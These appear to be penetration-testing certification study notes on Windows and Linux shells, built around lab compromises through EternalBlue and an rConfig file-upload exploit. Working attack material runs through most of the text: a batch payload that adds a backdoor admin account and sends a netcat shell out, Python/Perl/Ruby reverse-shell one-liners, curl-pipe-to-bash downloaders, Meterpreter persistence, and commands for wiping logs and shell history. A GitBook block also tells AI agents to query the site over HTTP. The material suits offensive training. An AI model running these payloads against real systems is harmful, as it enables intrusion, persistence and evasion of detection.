meterpreter > migrate <stable_process_pid>
Persistence Establishment:
# Create persistent access
meterpreter > run persistence -X -i 10 -p 443 -r 10.10.14.113
This comprehensive coverage of MSFvenom payload crafting provides the foundation for understanding both the technical aspects and practical applications of standalone payload generation in penetration testing scenarios.

Advanced Meterpreter Techniques

For detailed post-exploitation techniques, advanced commands, and comprehensive Meterpreter usage, see the dedicated Meterpreter Post-Exploitation Guide.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/shells-and-payloads/payloads.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Windows Shells

Overview

Microsoft has dominated home and enterprise computing markets for decades. With improved Active Directory features, cloud service integration, Windows Subsystem for Linux (WSL), and expanding interconnectivity, the Windows attack surface has grown significantly.

Windows Vulnerability Landscape

In the last five years alone, 3,688 vulnerabilities have been reported in Microsoft products, with this number growing daily. Understanding these vulnerabilities and exploitation techniques is crucial for both offensive and defensive security.

Prominent Windows Exploits

Critical Historical Vulnerabilities

VulnerabilityCVE/MS BulletinDescription
MS08-067MS08-067Critical SMB flaw affecting multiple Windows versions. Used by Conficker worm and Stuxnet. Extremely easy to exploit.
EternalBlueMS17-010NSA exploit leaked by Shadow Brokers. Used in WannaCry and NotPetya attacks. SMBv1 protocol flaw allowing code execution.
PrintNightmareCVE-2021-1675Windows Print Spooler RCE. Install malicious printer driver with valid credentials for SYSTEM access.
BlueKeepCVE-2019-0708RDP protocol vulnerability allowing RCE. Affects Windows 2000 to Server 2008 R2.
SigredCVE-2020-1350DNS SIG resource record flaw. Can grant Domain Admin privileges by targeting DNS server/Domain Controller.
SeriousSamCVE-2021-36934Windows permission issue on C:\Windows\system32\config folder. Non-elevated users can access SAM database via shadow copies.
ZerologonCVE-2020-1472Critical AD Netlogon Remote Protocol cryptographic flaw. Allows password reset with ~256 guesses in seconds.

Enumerating Windows & Fingerprinting Methods

Time To Live (TTL) Analysis

Windows TTL Values:
  • Typical responses: 32 or 128
  • Most common: 128
  • Values may vary due to network hops (rarely >20 hops away)
Example ping output:
ping 192.168.86.39
PING 192.168.86.39 (192.168.86.39): 56 data bytes
64 bytes from 192.168.86.39: icmp_seq=0 ttl=128 time=102.920 ms
64 bytes from 192.168.86.39: icmp_seq=1 ttl=128 time=9.164 ms
64 bytes from 192.168.86.39: icmp_seq=2 ttl=128 time=14.223 ms
64 bytes from 192.168.86.39: icmp_seq=3 ttl=128 time=11.265 ms

OS Detection with Nmap

Basic OS detection:
sudo nmap -v -O 192.168.86.39
Enhanced detection (if basic fails):
sudo nmap -A -Pn 192.168.86.39
Sample Output Analysis:
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
443/tcp open  https
445/tcp open  microsoft-ds
902/tcp open  iss-realsecure
912/tcp open  apex-mesh

Device type: general purpose
Running: Microsoft Windows 10
OS CPE: cpe:/o:microsoft:windows_10
OS details: Microsoft Windows 10 1709 - 1909
Key Windows Indicators:
  • Port 135: MS-RPC
  • Port 139: NetBIOS Session Service
  • Port 445: Microsoft Directory Services (SMB)
  • OS CPE: cpe:/o:microsoft:windows_*
Using Nmap banner script:
sudo nmap -v 192.168.86.39 --script banner.nse
Sample banner output:
902/tcp open  iss-realsecure
| banner: 220 VMware Authentication Daemon Version 1.10: SSL Required, Se
|_rverDaemonProtocol:SOAP, MKSDisplayProtocol:VNC , , NFCSSL supported/t
912/tcp open  apex-mesh
| banner: 220 VMware Authentication Daemon Version 1.0, ServerDaemonProto
|_col:SOAP, MKSDisplayProtocol:VNC , ,

Windows File Types & Payload Options

Dynamic Linking Libraries (DLLs)

Purpose:
  • Shared code and data libraries
  • Used by multiple programs simultaneously
  • Modular and updatable
Attack Vectors:
  • DLL Injection: Inject malicious DLL into running process
  • DLL Hijacking: Replace legitimate DLL with malicious version
  • Privilege Escalation: Elevate to SYSTEM level
  • UAC Bypass: Circumvent User Account Controls
Common DLL Injection Techniques:
  • Process hollowing
  • Reflective DLL loading
  • Manual DLL mapping
  • Thread execution hijacking

Batch Files (.bat)

Characteristics:
  • Text-based DOS scripts
  • Executed by command-line interpreter
  • Automated task execution
  • System administrator utilities
Use Cases:
  • Port opening/closing
  • Reverse shell connections
  • System enumeration
  • Automated command execution
Example batch payload:
@echo off
net user backdoor password123 /add
net localgroup administrators backdoor /add
nc.exe -e cmd.exe 10.10.14.15 4444

VBScript (.vbs)

Background:
  • Lightweight scripting language
  • Based on Microsoft Visual Basic
  • Client-side web scripting (largely deprecated)
  • Still used in phishing attacks
Attack Applications:
  • Macro-enabled document attacks
  • Email attachment payloads
  • Windows Scripting Host execution
  • Social engineering campaigns
Example VBS payload:
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell.exe -ep bypass -c ""IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.15/shell.ps1')"""

MSI Files (.msi)

Purpose:
  • Windows Installer database files
  • Application installation packages
  • Component and dependency management
Attack Applications:
  • Payload delivery via Windows Installer
  • Privilege escalation through installer service
  • Social engineering (fake software updates)
  • Persistence via scheduled installation
MSFVenom MSI generation:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.15 LPORT=4444 -f msi > malicious_installer.msi
Execution:
msiexec /quiet /qn /i malicious_installer.msi

PowerShell (.ps1)

Capabilities:
  • Shell environment and scripting language
  • .NET Common Language Runtime based
  • Object-oriented input/output
  • Extensive post-exploitation options
Attack Applications:
  • Fileless malware delivery
  • Memory-only payload execution
  • Administrative task automation
  • System and network enumeration
  • Credential harvesting
PowerShell execution policies:
  • Restricted: Default, no scripts allowed
  • RemoteSigned: Local scripts allowed, remote require signature
  • Unrestricted: All scripts allowed
  • Bypass: No policy enforcement

Tools, Tactics, and Procedures

Payload Generation Resources

ResourceDescriptionUse Case
MSFVenom & MetasploitVersatile payload generation and exploitationMulti-platform payloads, automated exploitation
Payloads All The ThingsPayload generation cheat sheetsQuick reference, one-liners
Mythic C2 FrameworkAlternative C2 frameworkCustom payload generation, advanced C2
NishangOffensive PowerShell frameworkPowerShell-based attacks, implants
DarkarmourBinary obfuscation toolAV evasion, obfuscated executables

Payload Transfer Methods

Impacket

Key utilities:
  • psexec: Remote command execution
  • smbclient: SMB client interactions
  • wmiexec: WMI-based execution
  • smbserver: Stand up SMB server
Example SMB server:
sudo impacket-smbserver share $(pwd) -smb2support

SMB Shares

Administrative shares:
  • C$: Administrative share to C: drive
  • ADMIN$: Administrative share to Windows directory
  • IPC$: Inter-Process Communication share
Usage for payload transfer:
copy payload.exe \\target\C$\temp\
copy payload.exe \\target\ADMIN$\temp\

HTTP/HTTPS Transfer

Python web server:
python3 -m http.server 80
PowerShell download:
(New-Object Net.WebClient).DownloadFile('http://10.10.14.15/payload.exe', 'C:\temp\payload.exe')

Other Protocols

  • FTP: File Transfer Protocol
  • TFTP: Trivial File Transfer Protocol
  • SCP: Secure Copy Protocol
  • BITS: Background Intelligent Transfer Service

Example Compromise Walkthrough

Step 1: Host Enumeration

Comprehensive Nmap scan:
nmap -v -A 10.129.201.97
Sample results:
PORT    STATE SERVICE      VERSION
80/tcp  open  http         Microsoft IIS httpd 10.0
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds

Host script results:
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: SHELLS-WINBLUE
|   NetBIOS computer name: SHELLS-WINBLUE\x00
|   Workgroup: WORKGROUP\x00

Step 2: Vulnerability Assessment

EternalBlue detection:
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.129.201.97
run
Expected output:
[+] 10.129.201.97:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2016 Standard 14393 x64 (64-bit)

Step 3: Exploit Selection

Search for EternalBlue exploits:
search eternal
Available options:
0  exploit/windows/smb/ms17_010_eternalblue       2017-03-14  average  Yes
1  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14  average  No
2  exploit/windows/smb/ms17_010_psexec            2017-03-14  normal   Yes

Step 4: Exploit Configuration

Select psexec variant:
use exploit/windows/smb/ms17_010_psexec
Configure required options:
set RHOSTS 10.129.201.97
set LHOST 10.10.14.12
set LPORT 4444
show options

Step 5: Execution

Launch exploit:
exploit
Successful exploitation:
[*] Started reverse TCP handler on 10.10.14.12:4444 
[*] 10.129.201.97:445 - Target OS: Windows Server 2016 Standard 14393
[*] 10.129.201.97:445 - Built a write-what-where primitive...
[+] 10.129.201.97:445 - Overwrite complete... SYSTEM session obtained!
[*] Meterpreter session 1 opened (10.10.14.12:4444 -> 10.129.201.97:50215)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

CMD vs PowerShell Comparison

Command Prompt (CMD)

Characteristics:
  • Original MS-DOS shell
  • Text-based input/output
  • Basic automation with batch files
  • No command history retention
  • No execution policy restrictions
When to use CMD:
  • Older hosts (Windows XP and earlier)
  • Simple interactions and basic tasks
  • Batch files and net commands
  • MS-DOS native tools
  • Stealth operations (less logging)
  • Execution policy concerns
Common CMD commands:
dir                    # List directory contents
cd                     # Change directory
type                   # Display file contents
copy                   # Copy files
net user               # User management
net share              # Share management
tasklist               # List running processes
systeminfo             # System information
ipconfig               # Network configuration

PowerShell

Characteristics:
  • Advanced shell and scripting environment
  • .NET object-based input/output
  • Extensive cmdlet library
  • Command history and transcription
  • Execution policy enforcement
  • Module and snap-in support
When to use PowerShell:
  • Modern Windows systems
  • Cmdlet and custom script execution
  • .NET object manipulation
  • Cloud service interactions
  • Advanced automation
  • Alias usage
  • When stealth is less important
Common PowerShell cmdlets:
Get-ChildItem          # List directory (ls equivalent)
Set-Location           # Change directory (cd equivalent)
Get-Content            # Read file contents (cat equivalent)
Copy-Item              # Copy files
Get-Process            # List processes (ps equivalent)
Get-Service            # List services
Get-WmiObject          # WMI queries
Invoke-WebRequest      # Web requests (wget/curl equivalent)
Get-ComputerInfo       # System information

Shell Identification

CMD Prompt:
C:\Windows\system32>
PowerShell Prompt:
PS C:\Windows\system32>
Drop to system shell from Meterpreter:
meterpreter > shell
Process 4844 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Advanced Windows Attack Vectors

Windows Subsystem for Linux (WSL)

Security Implications:
  • Virtual Linux environment within Windows
  • Potential blind spot for security tools
  • Network requests bypass Windows Firewall
  • Limited Windows Defender visibility
  • Novel attack vector for malware
Attack Applications:
  • Python3 and Linux binary execution
  • Payload download and installation
  • Cross-platform script execution
  • Firewall and AV evasion

PowerShell Core on Linux

Characteristics:
  • Cross-platform PowerShell implementation
  • Maintains many Windows PowerShell functions
  • Potential AV and EDR evasion
  • Novel attack vector
Security Considerations:
  • Less monitored than traditional PowerShell
  • Cross-platform payload delivery
  • Hybrid attack scenarios

Best Practices for Windows Exploitation

Reconnaissance

  1. Multiple fingerprinting methods
    • TTL analysis
    • Port scanning
    • Banner grabbing
    • OS detection
  2. Service enumeration
    • SMB version detection
    • Web server identification
    • Available shares enumeration
    • User enumeration
  3. Vulnerability assessment
    • Known exploit checking
    • Patch level analysis
    • Configuration weaknesses

Payload Selection

  1. Target environment analysis
    • Windows version and architecture
    • Available shells (CMD vs PowerShell)
    • Security controls (AV, firewall)
    • Network restrictions
  2. Delivery method planning
    • Social engineering vectors
    • Network-based exploitation
    • Physical access scenarios
    • Privilege level requirements

Operational Security

  1. Stealth considerations
    • Log generation awareness
    • Process visibility
    • Network traffic patterns
    • Persistence mechanisms
  2. Cleanup procedures
    • Artifact removal
    • Log cleanup
    • Process termination
    • Connection closure

Post-Exploitation

  1. Initial access stabilization
    • Process migration
    • Persistence establishment
    • Backup access creation
    • Privilege escalation
  2. Information gathering
    • System enumeration
    • User enumeration
    • Network discovery
    • Credential harvesting

Common Windows Exploitation Patterns

SMB-Based Attacks

EternalBlue (MS17-010):
  • Target: SMBv1 protocol
  • Impact: Remote code execution
  • Affected: Windows 2000 to Server 2016
SMB Relay Attacks:
  • Capture and relay NTLM authentication
  • Target systems without SMB signing
  • Privilege escalation opportunities

RDP-Based Attacks

BlueKeep (CVE-2019-0708):
  • Target: RDP protocol
  • Impact: Remote code execution
  • Affected: Windows 2000 to Server 2008 R2
RDP Credential Attacks:
  • Brute force attacks
  • Credential stuffing
  • Pass-the-hash attacks

Web-Based Attacks

IIS Vulnerabilities:
  • Directory traversal
  • Buffer overflows
  • Authentication bypasses
ASP.NET Exploitation:
  • ViewState manipulation
  • Deserialization attacks
  • File upload vulnerabilities

Detection and Defense

Common Detection Methods

Network-Level:
  • Unusual SMB traffic patterns
  • Multiple authentication failures
  • Suspicious RDP connections
  • Known exploit signatures
Host-Level:
  • Process creation monitoring
  • PowerShell execution logging
  • File system modifications
  • Registry changes

Defensive Strategies

Patch Management:
  • Regular security updates
  • Critical vulnerability prioritization
  • Testing and deployment procedures
Network Segmentation:
  • DMZ implementation
  • VLAN separation
  • Firewall rules
  • Access control lists
Monitoring and Logging:
  • SIEM deployment
  • PowerShell script block logging
  • Process creation logging
  • Network traffic analysis

Hardening Measures

System Configuration:
  • Disable unnecessary services
  • Remove unused protocols
  • Implement principle of least privilege
  • Enable security features
PowerShell Hardening:
  • Constrained Language Mode
  • Execution policy enforcement
  • Script block logging
  • Module logging

Conclusion

Windows systems present a rich attack surface with numerous exploitation vectors. Success requires:
  • Thorough enumeration to identify target characteristics
  • Vulnerability assessment to find exploitation opportunities
  • Appropriate payload selection based on target environment
  • Careful operational security to avoid detection
  • Understanding of both CMD and PowerShell environments
  • Awareness of modern attack vectors like WSL and PowerShell Core
The key to successful Windows exploitation lies in understanding the target environment, selecting appropriate tools and techniques, and maintaining operational security throughout the engagement. Regular practice with different Windows versions and security configurations will improve proficiency and success rates.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/shells-and-payloads/windows-shells.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

NIX Shells

Overview

According to W3Techs’ ongoing OS usage statistics study, over 70% of websites (webservers) run on Unix-based systems. This presents significant opportunities for penetration testers to gain shell sessions on these environments and potentially pivot further within network infrastructures.

Strategic Importance

Why Unix/Linux Shells Matter:
  • Web server dominance: Most web applications run on Linux
  • Infrastructure backbone: Critical systems often run on Unix/Linux
  • Pivot opportunities: Web servers can provide access to internal networks
  • On-premises hosting: Many organizations still host internally
  • Cloud environments: Most cloud instances run Linux variants
Attack Surface Considerations:
  • Web applications and services
  • Network services (SSH, FTP, etc.)
  • Database services (MySQL, PostgreSQL)
  • Configuration management tools
  • Container orchestration platforms

Common Considerations

When planning to establish a shell session on a Unix/Linux system, consider these critical questions:

1. System Analysis Questions

Distribution Identification:
  • What distribution of Linux is the system running?
  • What version and kernel are in use?
  • What package manager is available?
Shell & Programming Environment:
  • What shells are available? (bash, sh, zsh, csh)
  • What programming languages exist? (Python, Perl, Ruby, PHP)
  • What interpreters are installed?
  • Are there any restricted shells in place?
Functional Purpose:
  • What function is the system serving for the network?
  • Is it a web server, database server, or application server?
  • What services are running?
  • What is the system’s role in the infrastructure?
Application Stack:
  • What application is the system hosting?
  • What web server software? (Apache, Nginx, Lighttpd)
  • What application frameworks? (PHP, Python, Node.js)
  • What databases are connected?
Security Posture:
  • Are there any known vulnerabilities?
  • What security controls are in place?
  • Are there any misconfigurations?
  • What is the patch level?

2. Reconnaissance Strategy

Service Enumeration:
# Port scanning
nmap -sC -sV target_ip

# Version detection
nmap -sV --version-intensity 9 target_ip

# Script scanning
nmap --script vuln target_ip
Web Application Assessment:
# Directory enumeration
gobuster dir -u http://target_ip -w /usr/share/wordlists/common.txt

# Technology detection
whatweb http://target_ip

# SSL/TLS analysis
sslyze target_ip:443

Gaining a Shell Through Attacking a Vulnerable Application

Step 1: Host Enumeration

Comprehensive Nmap Scan:
nmap -sC -sV 10.129.201.101
Sample Output Analysis:
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 2.0.8 or later
22/tcp   open  ssh      OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34)
443/tcp  open  ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34)
3306/tcp open  mysql    MySQL (unauthorized)
111/tcp  open  rpcbind  2-4 (RPC #100000)
Information Gathered:
  • Operating System: CentOS Linux
  • Web Stack: Apache 2.4.6, PHP 7.2.34, OpenSSL 1.0.2k
  • Services: FTP, SSH, HTTP/HTTPS, MySQL, RPC
  • Function: Web server hosting web application
  • SSL Configuration: Self-signed certificate present

Step 2: Web Application Discovery

Initial Web Reconnaissance:
  • Navigate to HTTP/HTTPS endpoints
  • Identify hosted applications
  • Check for version information
  • Look for default credentials
Example: rConfig Discovery
  • Application: rConfig Configuration Management Tool
  • Purpose: Network device configuration automation
  • Version: 3.9.6 (visible on login page)
  • Critical Risk: Admin access to network infrastructure
rConfig Significance:
  • Automates network appliance configuration
  • Remote interface configuration capabilities
  • Potential access to routers, switches, firewalls
  • High-value target for network compromise
  • Could lead to complete network infrastructure control

Step 3: Vulnerability Research

Research Methodology:
  1. Version-specific searches: “rConfig 3.9.6 vulnerability”
  2. CVE databases: Check NIST, MITRE, ExploitDB
  3. Security advisories: Vendor bulletins, security researchers
  4. Proof of concepts: GitHub, security blogs
  5. Metasploit modules: Built-in exploit framework
Search Results for rConfig 3.9.6:
  • CVE-2019-16662: Arbitrary file upload to RCE
  • CVE-2019-16663: Authentication bypass
  • Multiple vulnerabilities: Configuration disclosure, SQL injection

Step 4: Metasploit Module Discovery

Search for Exploits:
msf6 > search rconfig
Available Modules:
#  Name                                             Disclosure Date  Rank       Description
0  exploit/multi/http/solr_velocity_rce             2019-10-29       excellent  Apache Solr RCE via Velocity Template
1  auxiliary/gather/nuuo_cms_file_download          2018-10-11       normal     Nuuo CMS Authenticated File Download
2  exploit/linux/http/rconfig_ajaxarchivefiles_rce  2020-03-11       good       Rconfig 3.x Chained RCE
3  exploit/unix/webapp/rconfig_install_cmd_exec     2019-10-28       excellent  rConfig install Command Execution
Module Selection Criteria:
  • Target specificity: Matches exact version
  • Reliability rank: Good to excellent ranking
  • Functionality: Provides shell access
  • Prerequisites: Authentication requirements

Step 5: Advanced Exploit Research

GitHub Repository Search:
# Search pattern
"rConfig 3.9.6 exploit metasploit github"
Manual Module Installation:
# Locate MSF directories
locate exploits | grep metasploit

# Typical MSF path
/usr/share/metasploit-framework/modules/exploits

# Download and install custom module
wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/linux/http/rconfig_vendors_auth_file_upload_rce.rb

# Copy to appropriate directory
cp rconfig_vendors_auth_file_upload_rce.rb /usr/share/metasploit-framework/modules/exploits/linux/http/
Metasploit Updates:
# Update package manager
apt update && apt install metasploit-framework

# Reload MSF modules
msfconsole -x "reload_all"

Exploiting rConfig - Practical Example

Step 1: Module Selection and Configuration

Load the Exploit:
msf6 > use exploit/linux/http/rconfig_vendors_auth_file_upload_rce
View Module Options:
msf6 exploit(linux/http/rconfig_vendors_auth_file_upload_rce) > show options
Required Configuration:
set RHOSTS 10.129.201.101
set RPORT 443
set SSL true
set LHOST 10.10.14.111
set LPORT 4444

Step 2: Exploit Execution

Launch the Attack:
msf6 exploit(linux/http/rconfig_vendors_auth_file_upload_rce) > exploit
Exploitation Process:
[*] Started reverse TCP handler on 10.10.14.111:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] 3.9.6 of rConfig found !
[+] The target appears to be vulnerable. Vulnerable version of rConfig found !
[+] We successfully logged in !
[*] Uploading file 'olxapybdo.php' containing the payload...
[*] Triggering the payload ...
[*] Sending stage (39282 bytes) to 10.129.201.101
[+] Deleted olxapybdo.php
[*] Meterpreter session 1 opened (10.10.14.111:4444 -> 10.129.201.101:38860)
Exploit Steps Breakdown:
  1. Version Detection: Confirms vulnerable rConfig 3.9.6
  2. Authentication: Successfully logs into rConfig
  3. Payload Upload: Uploads PHP-based reverse shell
  4. Payload Trigger: Executes uploaded payload
  5. Stage Transfer: Sends Meterpreter stage
  6. Cleanup: Removes uploaded payload file
  7. Session Establishment: Provides Meterpreter shell

Step 3: Initial Shell Interaction

Meterpreter Session:
meterpreter > dir
Listing: /home/rconfig/www/images/vendor
========================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  673   fil   2020-09-03 05:49:58 -0400  ajax-loader.gif
100644/rw-r--r--  1027  fil   2020-09-03 05:49:58 -0400  cisco.jpg
100644/rw-r--r--  1017  fil   2020-09-03 05:49:58 -0400  juniper.jpg
Drop to System Shell:
meterpreter > shell
Process 3958 created.
Channel 0 created.

# Test basic commands
dir
ajax-loader.gif  cisco.jpg  juniper.jpg

ls
ajax-loader.gif
cisco.jpg
juniper.jpg

Shell Improvement Techniques

Understanding Non-TTY Shells

Characteristics of Non-TTY Shells:
  • Limited functionality: Missing interactive features
  • No prompt: Commands execute without visual feedback
  • Restricted commands: su, sudo, nano may not work
  • No tab completion: Manual command entry required
  • No command history: Previous commands not accessible
  • Signal handling issues: Ctrl+C may terminate session
Why Non-TTY Shells Occur:
  • Service account execution: Payload runs as web server user (apache)
  • Environment limitations: No shell environment configured
  • Security restrictions: Limited shell access by design

Spawning TTY Shells

Method 1: Python PTY

Check for Python:
which python
which python3
Spawn TTY with Python:
python -c 'import pty; pty.spawn("/bin/sh")'
Enhanced Python TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Result:
sh-4.2$ whoami
apache
sh-4.2$ pwd
/home/rconfig/www/images/vendor

Method 2: Alternative TTY Methods

Using Script Command:
script -qc /bin/bash /dev/null
Using Expect:
expect -c "spawn $SHELL; interact"
Using Socat (if available):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.111:4445

Method 3: Full Interactive TTY

Step 1: Initial PTY spawn
python3 -c 'import pty; pty.spawn("/bin/bash")'
Step 2: Background the session
# Press Ctrl+Z to background
Step 3: Configure local terminal
stty raw -echo && fg
Step 4: Reset terminal
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <rows> columns <columns>

Linux Shell Environments

Common Linux Shells

ShellBinaryDescriptionFeatures
Bash/bin/bashBourne Again ShellCommand completion, history, scripting
Sh/bin/shBourne ShellBasic POSIX compliance, minimal features
Zsh/bin/zshZ ShellAdvanced features, customization
Csh/bin/cshC ShellC-like syntax, job control
Tcsh/bin/tcshTENEX C ShellEnhanced C shell
Fish/bin/fishFriendly Interactive ShellUser-friendly, auto-suggestions

Shell Detection and Switching

Current Shell Detection:
echo $SHELL
echo $0
ps -p $$
Available Shells:
cat /etc/shells
which bash zsh csh tcsh
Switch Shells:
# Switch to bash
/bin/bash

# Switch to zsh
/bin/zsh

# Switch with login environment
su - username

Programming Languages on Linux

Python Environment

Version Detection:
python --version
python3 --version
which python python3
Module Availability:
python -c "import sys; print(sys.path)"
python3 -c "import pty, subprocess, os; print('Available')"
Common Python Exploits:
# Command execution
python -c "import os; os.system('whoami')"

# Reverse shell
python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.111',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"

Perl Environment

Availability Check:
which perl
perl --version
Perl Exploits:
# Command execution
perl -e 'system("whoami")'

# Reverse shell
perl -e 'use Socket;$i="10.10.14.111";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby Environment

Availability Check:
which ruby
ruby --version
Ruby Exploits:
# Command execution
ruby -e 'system("whoami")'

# Reverse shell
ruby -rsocket -e'f=TCPSocket.open("10.10.14.111",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Linux Distribution Specifics

Package Managers by Distribution

DistributionPackage ManagerCommands
Ubuntu/Debianaptapt update, apt install
CentOS/RHELyum/dnfyum install, dnf install
Fedoradnfdnf install, dnf update
SUSEzypperzypper install, zypper update
Arch Linuxpacmanpacman -S, pacman -Syu
Alpineapkapk add, apk update

Distribution Detection

OS Release Information:
cat /etc/os-release
cat /etc/*-release
lsb_release -a
Kernel Information:
uname -a
cat /proc/version
hostnamectl
System Information:
cat /etc/issue
cat /etc/motd

Advanced Linux Exploitation Techniques

Container Environment Detection

Docker Detection:
cat /proc/1/cgroup | grep docker
ls -la /.dockerenv
cat /proc/self/mountinfo | grep docker
Container Escape Techniques:
# Check for privileged containers
capsh --print

# Look for mounted host filesystem
mount | grep -E "(proc|sys|dev)"

# Check for socket access
ls -la /var/run/docker.sock

Privilege Escalation Enumeration

User Context:
whoami
id
groups
sudo -l
SUID/SGID Binaries:
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
Writable Directories:
find / -writable -type d 2>/dev/null
find /tmp -type f -perm -o+w 2>/dev/null
Process Analysis:
ps aux
ps -ef
pstree
Network Connections:
netstat -tulpn
ss -tulpn
lsof -i

Persistence Mechanisms

Cron Jobs:
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
Service Files:
systemctl list-unit-files
ls -la /etc/systemd/system/
ls -la /etc/init.d/
Startup Scripts:
ls -la /etc/rc*.d/
cat /etc/rc.local

Common Linux Vulnerabilities

Kernel Exploits

Kernel Version Check:
uname -r
cat /proc/version
Common Kernel Exploits:
  • DirtyCow: CVE-2016-5195
  • Overlayfs: CVE-2021-3493
  • PwnKit: CVE-2021-4034
  • Baron Samedit: CVE-2021-3156

Application-Specific Vulnerabilities

Web Applications:
  • PHP vulnerabilities and misconfigurations
  • CGI script vulnerabilities
  • File upload vulnerabilities
  • SQL injection leading to file write
Network Services:
  • SSH misconfigurations
  • FTP anonymous access
  • NFS exports with no_root_squash
  • SMB/CIFS shares

Detection Evasion on Linux

Log Management

Common Log Locations:
/var/log/auth.log       # Authentication logs
/var/log/syslog         # System logs
/var/log/apache2/       # Apache logs
/var/log/nginx/         # Nginx logs
/var/log/secure         # CentOS/RHEL auth logs
Log Cleanup:
# Clear specific logs
> /var/log/auth.log
> /var/log/syslog

# Clear command history
history -c
> ~/.bash_history
unset HISTFILE

Process Hiding

Background Processes:
nohup command &
screen -dmS session_name command
tmux new-session -d -s session_name command
Memory-only Execution:
# Execute from memory
curl -s http://10.10.14.111/script.sh | bash
wget -qO- http://10.10.14.111/script.py | python3

Best Practices for Linux Exploitation

Reconnaissance

  1. Thorough enumeration of services and versions
  2. Web application assessment for vulnerabilities
  3. Configuration analysis for misconfigurations
  4. User enumeration for potential targets

Exploitation

  1. Research target-specific vulnerabilities thoroughly
  2. Test exploits in controlled environments first
  3. Understand exploit mechanisms before deployment
  4. Plan payload delivery based on target constraints

Post-Exploitation

  1. Stabilize shell access immediately
  2. Gather system intelligence for privilege escalation
  3. Establish persistence if authorized
  4. Document findings for reporting

Operational Security

  1. Minimize log generation during testing
  2. Clean up artifacts after assessment
  3. Use encrypted communications when possible
  4. Understand detection mechanisms in environment

Advanced Shell Spawning Techniques

When Python is not available on the target system, several alternative methods can be used to spawn interactive shells. Understanding these techniques is crucial for situations where primary methods fail.

Shell Interpreter Direct Execution

/bin/sh Interactive Mode

Basic Interactive Shell:
/bin/sh -i
Expected Output:
sh: no job control in this shell
sh-4.2$
Features:
  • Interactive mode (-i): Enables interactive functionality
  • Basic shell: Minimal features but reliable
  • Wide compatibility: Available on most Unix/Linux systems
  • Job control limitation: No background process management

Alternative Shell Binaries

Bash Interactive:
/bin/bash -i
Dash Interactive:
/bin/dash -i
Zsh Interactive:
/bin/zsh -i

Programming Language Spawning

Perl Shell Spawning

Direct Execution:
perl -e 'exec "/bin/sh";'
Script-based Execution:
# From within a Perl script
exec "/bin/sh";
Alternative Perl Methods:
# Using system call
perl -e 'system("/bin/sh");'

# Using backticks
perl -e '`/bin/sh`;'

Ruby Shell Spawning

Direct Execution:
ruby -e 'exec "/bin/sh"'
Script-based Execution:
# From within a Ruby script
exec "/bin/sh"
Alternative Ruby Methods:
# Using system call
ruby -e 'system("/bin/sh")'

# Using Process.spawn
ruby -e 'Process.spawn("/bin/sh")'

Lua Shell Spawning

OS Execute Method:
lua -e "os.execute('/bin/sh')"
Script-based Execution:
-- From within a Lua script
os.execute('/bin/sh')
Alternative Lua Methods:
-- Using io.popen
lua -e "io.popen('/bin/sh'):read('*all')"

System Utility Spawning

AWK Shell Spawning

BEGIN Block Method:
awk 'BEGIN {system("/bin/sh")}'
Pattern-based Method:
awk '{system("/bin/sh")}' /etc/passwd
One-liner with File:
echo | awk '{system("/bin/sh")}'
Features:
  • C-like language: Pattern scanning and processing
